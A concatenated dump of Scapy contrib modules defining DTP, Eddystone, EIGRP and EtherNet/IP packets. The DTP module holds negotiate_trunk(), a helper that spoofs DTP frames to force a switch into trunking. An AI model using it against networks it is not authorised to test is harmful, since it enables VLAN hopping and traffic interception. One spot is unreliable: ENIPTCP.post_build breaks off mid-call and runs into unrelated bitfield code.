Trunking Protocol (DTP) # scapy.contrib.status = loads """ DTP Scapy Extension ~~~~~~~~~~~~~~~~~~~ :version: 2008-12-22 :author: Jochen Bartl :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) # noqa: E501 """ from __future__ import absolute_import from __future__ import print_function import struct from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, FieldLenField, MACField, PacketListField, \ ShortField, StrLenField, XShortField from scapy.layers.l2 import SNAP, Dot3, LLC from scapy.sendrecv import sendp from scapy.config import conf from scapy.volatile import RandMAC class DtpGenericTlv(Packet): name = "DTP Generic TLV" fields_desc = [XShortField("type", 0x0001), FieldLenField("length", None, length_of=lambda pkt:pkt.value + 4), # noqa: E501 StrLenField("value", "", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] cls = _DTP_TLV_CLS.get(t, "DtpGenericTlv") return cls def guess_payload_class(self, p): return conf.padding_layer class DTPDomain(DtpGenericTlv): name = "DTP Domain" fields_desc = [ShortField("type", 1), FieldLenField("length", None, "domain", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("domain", b"\x00", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] class DTPStatus(DtpGenericTlv): name = "DTP Status" fields_desc = [ShortField("type", 2), FieldLenField("length", None, "status", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("status", b"\x03", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] class DTPType(DtpGenericTlv): name = "DTP Type" fields_desc = [ShortField("type", 3), FieldLenField("length", None, "dtptype", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("dtptype", b"\xa5", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] class DTPNeighbor(DtpGenericTlv): name = "DTP Neighbor" fields_desc = [ShortField("type", 4), # FieldLenField("length", None, "neighbor", adjust=lambda pkt,x:x + 4), # noqa: E501 ShortField("len", 10), MACField("neighbor", None) ] _DTP_TLV_CLS = { 0x0001: DTPDomain, 0x0002: DTPStatus, 0x0003: DTPType, 0x0004: DTPNeighbor } class DTP(Packet): name = "DTP" fields_desc = [ByteField("ver", 1), PacketListField("tlvlist", [], DtpGenericTlv)] bind_layers(SNAP, DTP, code=0x2004, OUI=0xc) def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())): print("Trying to negotiate a trunk on interface %s" % iface) p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc") / LLC() p /= SNAP() p /= DTP(tlvlist=[DTPDomain(), DTPStatus(), DTPType(), DTPNeighbor(neighbor=mymac)]) # noqa: E501 sendp(p) scapy-2.4.4/scapy/contrib/eddystone.py000066400000000000000000000154221372370053500200000ustar00rootroot00000000000000# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- # eddystone.py - protocol handlers for Eddystone beacons # # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Michael Farrell # This program is published under a GPLv2 (or later) license # # scapy.contrib.description = Eddystone BLE proximity beacon # scapy.contrib.status = loads """ scapy.contrib.eddystone - Google Eddystone Bluetooth LE proximity beacons. The Eddystone specification can be found at: https://github.com/google/eddystone/blob/master/protocol-specification.md These beacons are used as building blocks for other systems: * Google's Physical Web * RuuviTag * Waze Beacons """ from scapy.compat import orb from scapy.fields import IntField, SignedByteField, StrField, BitField, \ StrFixedLenField, ShortField, FixedPointField, ByteEnumField from scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \ EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper from scapy.modules import six from scapy.packet import bind_layers, Packet EDDYSTONE_UUID = 0xfeaa EDDYSTONE_URL_SCHEMES = { 0: b"http://www.", 1: b"https://www.", 2: b"http://", 3: b"https://", } EDDYSTONE_URL_TABLE = { 0: b".com/", 1: b".org/", 2: b".edu/", 3: b".net/", 4: b".info/", 5: b".biz/", 6: b".gov/", 7: b".com", 8: b".org", 9: b".edu", 10: b".net", 11: b".info", 12: b".biz", 13: b".gov", } class EddystoneURLField(StrField): # https://github.com/google/eddystone/tree/master/eddystone-url#eddystone-url-http-url-encoding def i2m(self, pkt, x): if x is None: return b"" o = bytearray() p = 0 while p < len(x): c = orb(x[p]) if c == 46: # "." for k, v in EDDYSTONE_URL_TABLE.items(): if x.startswith(v, p): o.append(k) p += len(v) - 1 break else: o.append(c) else: o.append(c) p += 1 # Make the output immutable. return bytes(o) def m2i(self, pkt, x): if not x: return None o = bytearray() for c in x: i = orb(c) r = EDDYSTONE_URL_TABLE.get(i) if r is None: o.append(i) else: o.extend(r) return bytes(o) def any2i(self, pkt, x): if isinstance(x, six.text_type): x = x.encode("ascii") return x class Eddystone_Frame(Packet, LowEnergyBeaconHelper): """ The base Eddystone frame on which all Eddystone messages are built. https://github.com/google/eddystone/blob/master/protocol-specification.md """ name = "Eddystone Frame" fields_desc = [ BitField("type", None, 4), BitField("reserved", 0, 4), ] def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[ EDDYSTONE_UUID]), EIR_Hdr() / EIR_ServiceData16BitUUID() / self ] class Eddystone_UID(Packet): """ An Eddystone type for transmitting a unique identifier. https://github.com/google/eddystone/tree/master/eddystone-uid """ name = "Eddystone UID" fields_desc = [ SignedByteField("tx_power", 0), StrFixedLenField("namespace", None, 10), StrFixedLenField("instance", None, 6), StrFixedLenField("reserved", None, 2), ] class Eddystone_URL(Packet): """ An Eddystone type for transmitting a URL (to a web page). https://github.com/google/eddystone/tree/master/eddystone-url """ name = "Eddystone URL" fields_desc = [ SignedByteField("tx_power", 0), ByteEnumField("url_scheme", 0, EDDYSTONE_URL_SCHEMES), EddystoneURLField("url", None), ] def to_url(self): return EDDYSTONE_URL_SCHEMES[self.url_scheme] + self.url @staticmethod def from_url(url): """Creates an Eddystone_Frame with a Eddystone_URL for a given URL.""" url = url.encode('ascii') scheme = None for k, v in EDDYSTONE_URL_SCHEMES.items(): if url.startswith(v): scheme = k url = url[len(v):] break else: raise Exception("URLs must start with EDDYSTONE_URL_SCHEMES") return Eddystone_Frame() / Eddystone_URL( url_scheme=scheme, url=url) class Eddystone_TLM(Packet): """ An Eddystone type for transmitting beacon telemetry information. https://github.com/google/eddystone/tree/master/eddystone-tlm """ name = "Eddystone TLM" fields_desc = [ ByteEnumField("version", None, { 0: "unencrypted", 1: "encrypted", }), ] class Eddystone_TLM_Unencrypted(Packet): """ A subtype of Eddystone-TLM for transmitting telemetry in unencrypted form. https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-plain.md """ name = "Eddystone TLM (Unencrypted)" fields_desc = [ ShortField("batt_mv", 0), FixedPointField("temperature", -128, 16, 8), IntField("adv_cnt", None), IntField("sec_cnt", None), ] class Eddystone_TLM_Encrypted(Packet): """ A subtype of Eddystone-TLM for transmitting telemetry in encrypted form. This implementation does not support decrypting this data. https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-encrypted.md """ name = "Eddystone TLM (Encrypted)" fields_desc = [ StrFixedLenField("etlm", None, 12), StrFixedLenField("salt", None, 2), StrFixedLenField("mic", None, 2), ] class Eddystone_EID(Packet): """ An Eddystone type for transmitting encrypted, ephemeral identifiers. This implementation does not support decrypting this data. https://github.com/google/eddystone/tree/master/eddystone-eid """ name = "Eddystone EID" fields_desc = [ SignedByteField("tx_power", 0), StrFixedLenField("eid", None, 8), ] bind_layers(Eddystone_TLM, Eddystone_TLM_Unencrypted, version=0) bind_layers(Eddystone_TLM, Eddystone_TLM_Encrypted, version=1) bind_layers(Eddystone_Frame, Eddystone_UID, type=0) bind_layers(Eddystone_Frame, Eddystone_URL, type=1) bind_layers(Eddystone_Frame, Eddystone_TLM, type=2) bind_layers(Eddystone_Frame, Eddystone_EID, type=3) bind_layers(EIR_ServiceData16BitUUID, Eddystone_Frame, svc_uuid=EDDYSTONE_UUID) scapy-2.4.4/scapy/contrib/eigrp.py000066400000000000000000000422441372370053500171120ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Enhanced Interior Gateway Routing Protocol (EIGRP) # scapy.contrib.status = loads """ EIGRP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-08-13 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 :TODO - Replace TLV code with a more generic solution * http://trac.secdev.org/scapy/ticket/90 - Write function for calculating authentication data :Known bugs: - :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) http://trac.secdev.org/scapy/ticket/18 - IOS / EIGRP Version Representation FIX by Dirk Loss """ from __future__ import absolute_import import socket import struct from scapy.packet import Packet from scapy.fields import StrField, IPField, XShortField, FieldLenField, \ StrLenField, IntField, ByteEnumField, ByteField, ConditionalField, \ FlagsField, IP6Field, PacketField, PacketListField, ShortEnumField, \ ShortField, StrFixedLenField, ThreeBytesField from scapy.layers.inet import IP, checksum, bind_layers from scapy.layers.inet6 import IPv6 from scapy.compat import chb, raw from scapy.config import conf from scapy.utils import inet_aton, inet_ntoa from scapy.pton_ntop import inet_ntop, inet_pton from scapy.error import warning, Scapy_Exception from scapy.volatile import RandShort, RandString class EigrpIPField(StrField, IPField): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits. """ __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt, length=length: length def h2i(self, pkt, x): return IPField.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_aton(x) tmp_len = self.length_from(pkt) if tmp_len <= 8: return x[:1] elif tmp_len <= 16: return x[:2] elif tmp_len <= 24: return x[:3] else: return x def m2i(self, pkt, x): tmp_len = self.length_from(pkt) if tmp_len <= 8: x += b"\x00\x00\x00" elif tmp_len <= 16: x += b"\x00\x00" elif tmp_len <= 24: x += b"\x00" return inet_ntoa(x) def prefixlen_to_bytelen(self, tmp_len): if tmp_len <= 8: tmp_len = 1 elif tmp_len <= 16: tmp_len = 2 elif tmp_len <= 24: tmp_len = 3 else: tmp_len = 4 return tmp_len def i2len(self, pkt, x): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return tmp_len def getfield(self, pkt, s): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def randval(self): return IPField.randval(self) class EigrpIP6Field(StrField, IP6Field): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. """ __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt, length=length: length def any2i(self, pkt, x): return IP6Field.any2i(self, pkt, x) def i2repr(self, pkt, x): return IP6Field.i2repr(self, pkt, x) def h2i(self, pkt, x): return IP6Field.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_pton(socket.AF_INET6, x) tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return x[:tmp_len] def m2i(self, pkt, x): tmp_len = self.length_from(pkt) prefixlen = self.prefixlen_to_bytelen(tmp_len) if tmp_len > 128: warning("EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail") # noqa: E501 else: pad = b"\x00" * (16 - prefixlen) x += pad return inet_ntop(socket.AF_INET6, x) def prefixlen_to_bytelen(self, plen): plen = plen // 8 if plen < 16: plen += 1 return plen def i2len(self, pkt, x): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return tmp_len def getfield(self, pkt, s): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def randval(self): return IP6Field.randval(self) class EIGRPGeneric(Packet): name = "EIGRP Generic TLV" fields_desc = [XShortField("type", 0x0000), FieldLenField("len", None, "value", "!H", adjust=lambda pkt, x: x + 4), # noqa: E501 StrLenField("value", b"\x00", length_from=lambda pkt: pkt.len - 4)] # noqa: E501 def guess_payload_class(self, p): return conf.padding_layer class EIGRPParam(EIGRPGeneric): name = "EIGRP Parameters" fields_desc = [XShortField("type", 0x0001), ShortField("len", 12), # Bandwidth ByteField("k1", 1), # Load ByteField("k2", 0), # Delay ByteField("k3", 1), # Reliability ByteField("k4", 0), # MTU ByteField("k5", 0), ByteField("reserved", 0), ShortField("holdtime", 15) ] class EIGRPAuthData(EIGRPGeneric): name = "EIGRP Authentication Data" fields_desc = [XShortField("type", 0x0002), FieldLenField("len", None, "authdata", "!H", adjust=lambda pkt, x: x + 24), # noqa: E501 ShortEnumField("authtype", 2, {2: "MD5"}), ShortField("keysize", None), IntField("keyid", 1), StrFixedLenField("nullpad", b"\x00" * 12, 12), StrLenField("authdata", RandString(16), length_from=lambda pkt: pkt.keysize) # noqa: E501 ] def post_build(self, p, pay): p += pay if self.keysize is None: keysize = len(self.authdata) p = p[:6] + chb((keysize >> 8) & 0xff) + chb(keysize & 0xff) + p[8:] # noqa: E501 return p class EIGRPSeq(EIGRPGeneric): name = "EIGRP Sequence" fields_desc = [XShortField("type", 0x0003), ShortField("len", None), ByteField("addrlen", 4), ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt:pkt.addrlen == 4), ConditionalField(IP6Field("ip6addr", "2001::"), lambda pkt:pkt.addrlen == 16) ] def post_build(self, p, pay): p += pay if self.len is None: tmp_len = len(p) tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) p = tmp_p + chb(tmp_len & 0xff) + p[4:] return p class ShortVersionField(ShortField): def i2repr(self, pkt, x): try: minor = x & 0xff major = (x >> 8) & 0xff except TypeError: return "unknown" else: # We print a leading 'v' so that these values don't look like floats # noqa: E501 return "v%s.%s" % (major, minor) def h2i(self, pkt, x): """The field accepts string values like v12.1, v1.1 or integer values. String values have to start with a "v" followed by a floating point number. Valid numbers are between 0 and 255. """ if isinstance(x, str) and x.startswith("v") and len(x) <= 8: major = int(x.split(".")[0][1:]) minor = int(x.split(".")[1]) return (major << 8) | minor elif isinstance(x, int) and 0 <= x <= 65535: return x else: if not hasattr(self, "default"): return x if self.default is not None: warning("set value to default. Format of %r is invalid" % x) return self.default else: raise Scapy_Exception("Format of value is invalid") def randval(self): return RandShort() class EIGRPSwVer(EIGRPGeneric): name = "EIGRP Software Version" fields_desc = [XShortField("type", 0x0004), ShortField("len", 8), ShortVersionField("ios", "v12.0"), ShortVersionField("eigrp", "v1.2") ] class EIGRPNms(EIGRPGeneric): name = "EIGRP Next Multicast Sequence" fields_desc = [XShortField("type", 0x0005), ShortField("len", 8), IntField("nms", 2) ] # Don't get confused by the term "receive-only". This flag is always set, when you configure # noqa: E501 # one of the stub options. It's also the only flag set, when you configure "eigrp stub receive-only". # noqa: E501 _EIGRP_STUB_FLAGS = ["connected", "static", "summary", "receive-only", "redistributed", "leak-map"] # noqa: E501 class EIGRPStub(EIGRPGeneric): name = "EIGRP Stub Router" fields_desc = [XShortField("type", 0x0006), ShortField("len", 6), FlagsField("flags", 0x000d, 16, _EIGRP_STUB_FLAGS)] # Delay 0xffffffff == Destination Unreachable class EIGRPIntRoute(EIGRPGeneric): name = "EIGRP Internal Route" fields_desc = [XShortField("type", 0x0102), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 25), # noqa: E501 IPField("nexthop", "192.168.0.0"), IntField("delay", 128000), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen), # noqa: E501 ] _EIGRP_EXTERNAL_PROTOCOL_ID = { 0x01: "IGRP", 0x02: "EIGRP", 0x03: "Static Route", 0x04: "RIP", 0x05: "Hello", 0x06: "OSPF", 0x07: "IS-IS", 0x08: "EGP", 0x09: "BGP", 0x0A: "IDRP", 0x0B: "Connected Link" } _EIGRP_EXTROUTE_FLAGS = ["external", "candidate-default"] class EIGRPExtRoute(EIGRPGeneric): name = "EIGRP External Route" fields_desc = [XShortField("type", 0x0103), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 45), # noqa: E501 IPField("nexthop", "192.168.0.0"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), # noqa: E501 FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved2", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 ] class EIGRPv6IntRoute(EIGRPGeneric): name = "EIGRP for IPv6 Internal Route" fields_desc = [XShortField("type", 0x0402), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 37), # noqa: E501 IP6Field("nexthop", "::"), IntField("delay", 128000), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 16), EigrpIP6Field("dst", "2001::", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 ] class EIGRPv6ExtRoute(EIGRPGeneric): name = "EIGRP for IPv6 External Route" fields_desc = [XShortField("type", 0x0403), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 57), # noqa: E501 IP6Field("nexthop", "::"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), # noqa: E501 FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 0), ByteField("load", 1), XShortField("reserved2", 0), ByteField("prefixlen", 8), EigrpIP6Field("dst", "::", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 ] _eigrp_tlv_cls = { 0x0001: "EIGRPParam", 0x0002: "EIGRPAuthData", 0x0003: "EIGRPSeq", 0x0004: "EIGRPSwVer", 0x0005: "EIGRPNms", 0x0006: "EIGRPStub", 0x0102: "EIGRPIntRoute", 0x0103: "EIGRPExtRoute", 0x0402: "EIGRPv6IntRoute", 0x0403: "EIGRPv6ExtRoute" } class RepeatedTlvListField(PacketListField): def __init__(self, name, default, cls): PacketField.__init__(self, name, default, cls) def getfield(self, pkt, s): lst = [] remain = s while len(remain) > 0: p = self.m2i(pkt, remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = b"" lst.append(p) return remain, lst def addfield(self, pkt, s, val): return s + b"".join(raw(v) for v in val) def _EIGRPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _eigrp_tlv_cls.get(t, "EIGRPGeneric") cls = globals()[clsname] return cls(p, **kargs) _EIGRP_OPCODES = {1: "Update", 2: "Request", 3: "Query", 4: "Replay", 5: "Hello", 6: "IPX SAP", 10: "SIA Query", 11: "SIA Reply"} # The Conditional Receive bit is used for reliable multicast communication. # Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors # are exchanging routing information _EIGRP_FLAGS = ["init", "cond-recv", "unknown", "update"] class EIGRP(Packet): name = "EIGRP" fields_desc = [ByteField("ver", 2), ByteEnumField("opcode", 5, _EIGRP_OPCODES), XShortField("chksum", None), FlagsField("flags", 0, 32, _EIGRP_FLAGS), IntField("seq", 0), IntField("ack", 0), IntField("asn", 100), RepeatedTlvListField("tlvlist", [], _EIGRPGuessPayloadClass) ] def post_build(self, p, pay): p += pay if self.chksum is None: c = checksum(p) p = p[:2] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[4:] return p def mysummary(self): summarystr = "EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%" if self.opcode == 5 and self.ack != 0: summarystr += " (ACK)" if self.flags != 0: summarystr += " Flags=%EIGRP.flags%" return self.sprintf(summarystr + ")") bind_layers(IP, EIGRP, proto=88) bind_layers(IPv6, EIGRP, nh=88) scapy-2.4.4/scapy/contrib/enipTCP.py000066400000000000000000000166261372370053500173130ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = EtherNet/IP # scapy.contrib.status = loads # Copyright (C) 2019 Jose Diogo Monteiro # Based on https://github.com/scy-phy/scapy-cip-enip # Routines for EtherNet/IP (Industrial Protocol) dissection # EtherNet/IP Home: www.odva.org import struct from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.fields import LEShortField, LEShortEnumField, LEIntEnumField, \ LEIntField, LELongField, FieldLenField, PacketListField, ByteField, \ PacketField, MultipleTypeField, StrLenField, StrFixedLenField, \ XLEIntField, XLEStrLenField _commandIdList = { 0x0004: "ListServices", # Request Struct Don't Have Command Spec Data 0x0063: "ListIdentity", # Request Struct Don't Have Command Spec Data 0x0064: "ListInterfaces", # Request Struct Don't Have Command Spec Data 0x0065: "RegisterSession", # Request Structure = Reply Structure 0x0066: "UnregisterSession", # Don't Have Command Specific Data 0x006f: "SendRRData", # Request Structure = Reply Structure 0x0070: "SendUnitData", # There is no reply 0x0072: "IndicateStatus", 0x0073: "Cancel" } _statusList = { 0: "success", 1: "invalid_cmd", 2: "no_resources", 3: "incorrect_data", 100: "invalid_session", 101: "invalid_length", 105: "unsupported_prot_rev" } _itemID = { 0x0000: "Null Address Item", 0x00a1: "Connection-based Address Item", 0x00b1: "Connected Transport packet Data Item", 0x00b2: "Unconnected message Data Item", 0x8000: "Sockaddr Info, originator-to-target Data Item", 0x8001: "Sockaddr Info, target-to-originator Data Item" } class ItemData(Packet): """Common Packet Format""" name = "Item Data" fields_desc = [ LEShortEnumField("typeId", 0, _itemID), LEShortField("length", 0), XLEStrLenField("data", "", length_from=lambda pkt: pkt.length), ] def extract_padding(self, s): return '', s class EncapsulatedPacket(Packet): """Encapsulated Packet""" name = "Encapsulated Packet" fields_desc = [LEShortField("itemCount", 2), PacketListField( "item", None, ItemData, count_from=lambda pkt: pkt.itemCount), ] class BaseSendPacket(Packet): """ Abstract Class""" fields_desc = [ LEIntField("interfaceHandle", 0), LEShortField("timeout", 0), PacketField("encapsulatedPacket", None, EncapsulatedPacket), ] class CommandSpecificData(Packet): """Command Specific Data Field Default""" pass class ENIPSendUnitData(BaseSendPacket): """Send Unit Data Command Field""" name = "ENIPSendUnitData" class ENIPSendRRData(BaseSendPacket): """Send RR Data Command Field""" name = "ENIPSendRRData" class ENIPListInterfacesReplyItems(Packet): """List Interfaces Items Field""" name = "ENIPListInterfacesReplyItems" fields_desc = [ LEIntField("itemTypeCode", 0), FieldLenField("itemLength", 0, length_of="itemData"), StrLenField("itemData", "", length_from=lambda pkt: pkt.itemLength), ] class ENIPListInterfacesReply(Packet): """List Interfaces Command Field""" name = "ENIPListInterfacesReply" fields_desc = [ FieldLenField("itemCount", 0, count_of="identityItems"), PacketField("identityItems", 0, ENIPListInterfacesReplyItems), ] class ENIPListIdentityReplyItems(Packet): """List Identity Items Field""" name = "ENIPListIdentityReplyItems" fields_desc = [ LEIntField("itemTypeCode", 0), FieldLenField("itemLength", 0, length_of="itemData"), StrLenField("itemData", "", length_from=lambda pkt: pkt.item_length), ] class ENIPListIdentityReply(Packet): """List Identity Command Field""" name = "ENIPListIdentityReply" fields_desc = [ FieldLenField("itemCount", 0, count_of="identityItems"), PacketField("identityItems", None, ENIPListIdentityReplyItems), ] class ENIPListServicesReplyItems(Packet): """List Services Items Field""" name = "ENIPListServicesReplyItems" fields_desc = [ LEIntField("itemTypeCode", 0), LEIntField("itemLength", 0), ByteField("version", 1), ByteField("flag", 0), StrFixedLenField("serviceName", None, 16 * 4), ] class ENIPListServicesReply(Packet): """List Services Command Field""" name = "ENIPListServicesReply" fields_desc = [ FieldLenField("itemCount", 0, count_of="identityItems"), PacketField("targetItems", None, ENIPListServicesReplyItems), ] class ENIPRegisterSession(CommandSpecificData): """Register Session Command Field""" name = "ENIPRegisterSession" fields_desc = [ LEShortField("protocolVersion", 1), LEShortField("options", 0) ] class ENIPTCP(Packet): """Ethernet/IP packet over TCP""" name = "ENIPTCP" fields_desc = [ LEShortEnumField("commandId", None, _commandIdList), LEShortField("length", 0), XLEIntField("session", 0), LEIntEnumField("status", None, _statusList), LELongField("senderContext", 0), LEIntField("options", 0), MultipleTypeField( [ # List Services Reply (PacketField("commandSpecificData", ENIPListServicesReply, ENIPListServicesReply), lambda pkt: pkt.commandId == 0x4), # List Identity Reply (PacketField("commandSpecificData", ENIPListIdentityReply, ENIPListIdentityReply), lambda pkt: pkt.commandId == 0x63), # List Interfaces Reply (PacketField("commandSpecificData", ENIPListInterfacesReply, ENIPListInterfacesReply), lambda pkt: pkt.commandId == 0x64), # Register Session (PacketField("commandSpecificData", ENIPRegisterSession, ENIPRegisterSession), lambda pkt: pkt.commandId == 0x65), # Send RR Data (PacketField("commandSpecificData", ENIPSendRRData, ENIPSendRRData), lambda pkt: pkt.commandId == 0x6f), # Send Unit Data (PacketField("commandSpecificData", ENIPSendUnitData, ENIPSendUnitData), lambda pkt: pkt.commandId == 0x70), ], PacketField( "commandSpecificData", None, CommandSpecificData) # By default ), ] def post_build(self, pkt, pay): if self.length is None and pay: pkt = pkt[:2] + struct.pack(" error raise LEBitFieldSequenceException('Missing further LEBitField ' 'based fields after field ' '{} '.format(self.name)) def addfield(self, pkt, s, val): """ :param pkt: packet instance the raw string s and field belongs to :param s: raw string representing the frame :param val: value :return: final raw string, tuple (s, bitsdone, data) if in between bit field # noqa: E501 as we don't know the final size of the full bitfield we need to accumulate the data. # noqa: E501 if we reach a field that ends at a octet boundary, we build the whole string # noqa: E501 """ if type(s) is tuple and len(s) == 4: s, bitsdone, data, _ = s self._check_field_type(pkt, -1) else: # this is the first bit field in the set bitsdone = 0 data = [] bitsdone += self.size data.append((self.size, self.i2m(pkt, val))) if bitsdone % 8: # somewhere in between bit 0 .. 7 - next field should add more bits... # noqa: E501 self._check_field_type(pkt, 1) return s, bitsdone, data, type(LEBitField) else: data.reverse() octet = 0 remaining_len = 8 octets = bytearray() for size, val in data: while True: if size < remaining_len: remaining_len = remaining_len - size octet |= val << remaining_len break elif size > remaining_len: # take the leading bits and add them to octet size -= remaining_len octet |= val >> size octets = struct.pack('!B', octet) + octets octet = 0 remaining_len = 8 # delete all consumed bits # TODO: do we need to add a check for bitfields > 64 bits to catch overruns here? # noqa: E501 val &= ((2 ** size) - 1) continue else: # size == remaining len octet |= val octets = struct.pack('!B', octet) + octets octet = 0 remaining_len = 8 break return s + octets def getfield(self, pkt, s): """ extract data from raw str collect all instances belonging to the bit field set. if we reach a field that ends at a octet boundary, dissect the whole bit field at once # noqa: E501 :param pkt: packet instance the field belongs to :param s: raw string representing the frame -or- tuple containing raw str, number of bits and array of fields # noqa: E501 :return: tuple containing raw str, number of bits and array of fields -or- remaining raw str and value of this # noqa: E501 """ if type(s) is tuple and len(s) == 3: s, bits_in_set, fields = s else: bits_in_set = 0 fields = [] bits_in_set += self.size fields.append(self) if bits_in_set % 8: # we are in between the bitfield return (s, bits_in_set, fields), None else: cur_val = 0 cur_val_bit_idx = 0 this_val = 0 field_idx = 0 field = fields[field_idx] field_required_bits = field.size idx = 0 s = bytearray(s) bf_total_byte_length = bits_in_set // 8 for octet in s[0:bf_total_byte_length]: idx += 1 octet_bits_left = 8 while octet_bits_left: if field_required_bits == octet_bits_left: # whole field fits into remaining bits # as this also signals byte-alignment this should exit the inner and outer loop # noqa: E501 cur_val |= octet << cur_val_bit_idx pkt.fields[field.name] = cur_val ''' TODO: check if do_dessect() needs a non-None check for assignment to raw_packet_cache_fields # noqa: E501 setfieldval() is evil as it sets raw_packet_cache_fields to None - but this attribute # noqa: E501 is accessed in do_dissect() without checking for None... exception is caught and the # noqa: E501 user ends up with a layer decoded as raw... pkt.setfieldval(field.name, int(bit_str[:field.size], 2)) # noqa: E501 ''' octet_bits_left = 0 this_val = cur_val elif field_required_bits < octet_bits_left: # pick required bits cur_val |= (octet & ((2 ** field_required_bits) - 1)) << cur_val_bit_idx # noqa: E501 pkt.fields[field.name] = cur_val # remove consumed bits octet >>= field_required_bits octet_bits_left -= field_required_bits # and move to the next field field_idx += 1 field = fields[field_idx] field_required_bits = field.size 